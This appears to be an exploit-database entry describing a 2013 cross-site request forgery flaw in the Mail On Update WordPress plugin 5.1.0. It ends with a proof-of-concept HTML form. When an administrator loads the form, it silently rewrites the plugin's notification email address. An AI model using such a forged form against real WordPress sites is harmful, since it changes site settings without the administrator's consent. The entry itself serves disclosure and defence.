Mail On Update Plugin for WordPress Cross-Site Request-Forgery Vulnerability

vendor:

Mail On Update Plugin

by:

SecurityFocus

7,8

CVSS

HIGH

Cross-Site Request-Forgery

352

CWE

Product Name: Mail On Update Plugin

Affected Version From: Mail On Update 5.1.0

Affected Version To: Prior versions may also be affected.

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2013

Mail On Update Plugin for WordPress Cross-Site Request-Forgery Vulnerability

The Mail On Update plugin for WordPress is prone to a cross-site request-forgery vulnerability. Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.

Mitigation:

Ensure that the application is configured to use secure authentication mechanisms and that all user input is validated.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/59932/info

The Mail On Update plugin for WordPress is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.

Mail On Update 5.1.0 is vulnerable; prior versions may also be affected. 

<html><form action="https://example.com/wp/wp-admin/options-general.php?page=mail-on-update"; method="post" 
class="buttom-primary">
<input name="mailonupdate_mailto" type="hidden" value="example0 () example com
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henri+monkey () nerv fi" />
<input name="submit" type="submit" value="Save"/></form></html>